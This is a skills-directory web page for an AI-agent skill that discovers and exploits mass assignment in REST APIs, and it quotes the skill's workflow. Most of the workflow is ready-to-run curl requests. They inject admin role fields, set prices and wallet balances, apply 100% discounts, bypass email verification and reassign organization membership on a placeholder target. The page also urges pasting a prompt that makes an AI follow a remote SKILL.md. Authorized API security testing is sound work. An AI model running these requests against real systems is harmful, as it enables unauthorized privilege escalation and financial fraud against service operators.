Skip to content
Skillpedia
Misc35k · #5751

exploiting-mass-assignment-in-rest-apis

Has your agent discover and exploit mass assignment in REST APIs for privilege escalation.

What it does

This tool helps find and exploit a security flaw in APIs (the 'websites' applications use to talk to each other). It tries to insert unexpected information, like 'is administrator', into requests the API receives, to see if it can gain more permissions than it should.

When to use it

  • ✓When testing the security of APIs that accept JSON data.
  • ✓When checking if a regular user can become an administrator.
  • ✓When looking for flaws in systems that create or update information.

Example of what to ask your AI

“Try injecting 'role: admin' or 'isAdmin: true' into the data sent to the API when updating your profile.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool sends requests to the API with extra fields that shouldn't be there. If the API accepts these fields and changes its behavior (like granting admin privileges), the flaw is found.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-mass-assignment-in-rest-apis

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Exploiting Mass Assignment in REST APIs

When to Use

  • When testing REST APIs that accept JSON input for creating or updating resources
  • During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
  • When testing user registration, profile update, or account management endpoints
  • During bug bounty hunting on applications with CRUD API operations
  • When evaluating role-based access control implementation in API-driven applications

Prerequisites

  • Burp Suite or Postman for API request crafting and interception
  • Understanding of ORM auto-binding behavior in common frameworks
  • API documentation or endpoint discovery through reconnaissance
  • Multiple user accounts with different privilege levels for testing
  • Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
  • Arjun or param-miner for hidden parameter discovery

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Discover API Structure and Fields

# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates

Step 2 — Test Privilege Escalation via Role Fields

# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"test@test.com","role":"admin"}'

# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

# Test during registration
curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'

Step 3 — Test Financial and Business Logic Fields

# Modify price or balance fields
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# Modify account balance
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'

Step 4 — Test Verification and Status Fields

# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# Modify account status
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'

Step 5 — Test Relationship and Foreign Key Manipulation


…
FAQ

What is 'Mass Assignment'?

It's when an API automatically accepts many data fields from a request and applies them directly to an object, without checking each one. This can allow a malicious user to set fields they shouldn't, like their permission level.

What tools are used?

Tools like Burp Suite, Postman, Arjun, and param-miner are used to intercept, analyze, and send modified requests to the API.

Do I need to know how to program to use this?

It's helpful to have a basic understanding of how APIs work and what ORM frameworks are, but the tool automates many of the complex steps.

Details

Original description by the author

Discovers and exploits mass assignment (autobinding) in REST APIs by injecting unexpected or hidden parameters (e.g. role, isAdmin, plan) into create/update requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing REST APIs for privilege escalation or authorization bypass via unintended parameter

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#5751
License
Apache-2.0
Updated
8/31/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills